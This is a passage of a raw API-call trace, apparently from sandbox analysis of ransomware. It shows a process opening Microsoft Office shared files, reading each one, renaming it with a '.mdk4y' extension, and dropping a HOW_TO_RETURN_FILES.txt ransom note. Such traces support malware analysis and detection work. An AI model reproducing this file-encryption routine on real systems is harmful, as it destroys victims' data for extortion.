[0095.373] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0095.373] AreFileApisANSI () returned 1 [0095.373] GetACP () returned 0x4e4 [0095.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACERECR.DLL", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ACERECR.DLLL", lpUsedDefaultChar=0x37dec0) returned 11 [0095.373] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0095.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817060300000) returned 1 [0095.373] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x51d0, lpOverlapped=0x0) returned 1 [0095.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817088900000) returned 1 [0095.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817088900000) returned 1 [0095.659] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.mdk4y")) returned 1 [0095.660] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0095.660] AreFileApisANSI () returned 1 [0095.660] GetACP () returned 0x4e4 [0095.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEWSTR.DLL", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ACEWSTR.DLL", lpUsedDefaultChar=0x37dec0) returned 11 [0095.660] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0095.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817089000000) returned 1 [0095.660] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd2990, lpOverlapped=0x0) returned 1 [0095.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817106600000) returned 1 [0095.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817106600000) returned 1 [0095.846] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.mdk4y")) returned 1 [0095.846] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0095.846] AreFileApisANSI () returned 1 [0095.846] GetACP () returned 0x4e4 [0095.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ADO210.CHM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ADO210.CHML", lpUsedDefaultChar=0x37dec0) returned 10 [0095.847] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0095.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817107700000) returned 1 [0095.847] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0096.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817129900000) returned 1 [0096.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817129900000) returned 1 [0096.125] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.mdk4y")) returned 1 [0096.126] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0096.126] AreFileApisANSI () returned 1 [0096.126] GetACP () returned 0x4e4 [0096.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ALRTINTL.DLL", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ALRTINTL.DLL", lpUsedDefaultChar=0x37dec0) returned 12 [0096.127] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0096.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817135700000) returned 1 [0096.127] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x25b50, lpOverlapped=0x0) returned 1 [0096.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817148700000) returned 1 [0096.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817148700000) returned 1 [0096.258] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.mdk4y")) returned 1 [0096.259] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0096.259] AreFileApisANSI () returned 1 [0096.259] GetACP () returned 0x4e4 [0096.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOINTL.DLL", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSOINTL.DLLL", lpUsedDefaultChar=0x37dec0) returned 11 [0096.259] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0096.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817163200000) returned 1 [0096.402] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0096.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817202300000) returned 1 [0096.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817202300000) returned 1 [0097.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.mdk4y")) returned 1 [0097.508] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0097.508] AreFileApisANSI () returned 1 [0097.508] GetACP () returned 0x4e4 [0097.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOINTL.DLL.IDX_DLL", cchWideChar=19, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSOINTL.DLL.IDX_DLLtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 19 [0097.508] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0097.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817273800000) returned 1 [0097.508] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd980, lpOverlapped=0x0) returned 1 [0097.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817315200000) returned 1 [0097.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817315200000) returned 1 [0097.923] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.mdk4y")) returned 1 [0097.924] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0097.924] AreFileApisANSI () returned 1 [0097.924] GetACP () returned 0x4e4 [0097.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOINTL.REST.IDX_DLL", cchWideChar=20, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSOINTL.REST.IDX_DLLN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 20 [0097.924] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0097.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817315500000) returned 1 [0097.925] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0097.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817321500000) returned 1 [0097.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817321500000) returned 1 [0097.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.mdk4y")) returned 1 [0098.000] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0098.000] AreFileApisANSI () returned 1 [0098.000] GetACP () returned 0x4e4 [0098.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSOAPR3.DLL", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSSOAPR3.DLL.IDX_DLL", lpUsedDefaultChar=0x37dec0) returned 12 [0098.000] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0098.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817323100000) returned 1 [0098.001] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa388, lpOverlapped=0x0) returned 1 [0098.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817328600000) returned 1 [0098.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817328600000) returned 1 [0098.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.mdk4y")) returned 1 [0098.057] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0098.057] AreFileApisANSI () returned 1 [0098.057] GetACP () returned 0x4e4 [0098.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OARPMANR.DLL", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OARPMANR.DLL", lpUsedDefaultChar=0x37dec0) returned 12 [0098.057] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0098.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817328700000) returned 1 [0098.058] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2d88, lpOverlapped=0x0) returned 1 [0098.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817333900000) returned 1 [0098.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817333900000) returned 1 [0098.109] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.mdk4y")) returned 1 [0098.110] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0098.110] AreFileApisANSI () returned 1 [0098.110] GetACP () returned 0x4e4 [0098.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="README.HTM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="README.HTMLL", lpUsedDefaultChar=0x37dec0) returned 10 [0098.110] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0098.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817334100000) returned 1 [0098.111] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x795, lpOverlapped=0x0) returned 1 [0098.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817337700000) returned 1 [0098.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1817337700000) returned 1 [0098.147] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.mdk4y")) returned 1 [0098.148] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0098.148] AreFileApisANSI () returned 1 [0098.148] GetACP () returned 0x4e4 [0098.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="xlsrvintl.dll", cchWideChar=13, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="xlsrvintl.dllIDX_DLL", lpUsedDefaultChar=0x37dec0) returned 13 [0098.148] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0098.148] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0098.148] AreFileApisANSI () returned 1 [0098.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0098.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0098.149] GetFileType (hFile=0x130) returned 0x1 [0098.150] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0098.150] AreFileApisANSI () returned 1 [0098.150] GetACP () returned 0x4e4 [0098.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACECORE.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACECORE.DLLicrosoft Shared\\MSInfo\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 11 [0098.150] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0098.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817338200000) returned 1 [0098.152] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0101.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817652800000) returned 1 [0101.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817652800000) returned 1 [0101.307] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.mdk4y")) returned 1 [0101.308] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0101.308] AreFileApisANSI () returned 1 [0101.308] GetACP () returned 0x4e4 [0101.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEDAO.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEDAO.DLLL", lpUsedDefaultChar=0x37df4c) returned 10 [0101.308] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0101.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817653800000) returned 1 [0101.309] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb5db8, lpOverlapped=0x0) returned 1 [0101.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817669800000) returned 1 [0101.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817669800000) returned 1 [0101.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.mdk4y")) returned 1 [0101.476] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0101.476] AreFileApisANSI () returned 1 [0101.476] GetACP () returned 0x4e4 [0101.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEERR.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACEERR.DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0101.476] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0101.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817673000000) returned 1 [0101.500] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa990, lpOverlapped=0x0) returned 1 [0101.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817682100000) returned 1 [0101.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1817682100000) returned 1 [0101.592] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.mdk4y")) returned 1 [0101.593] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0101.593] AreFileApisANSI () returned 1 [0101.593] GetACP () returned 0x4e4 [0101.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACEES.DLL", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: 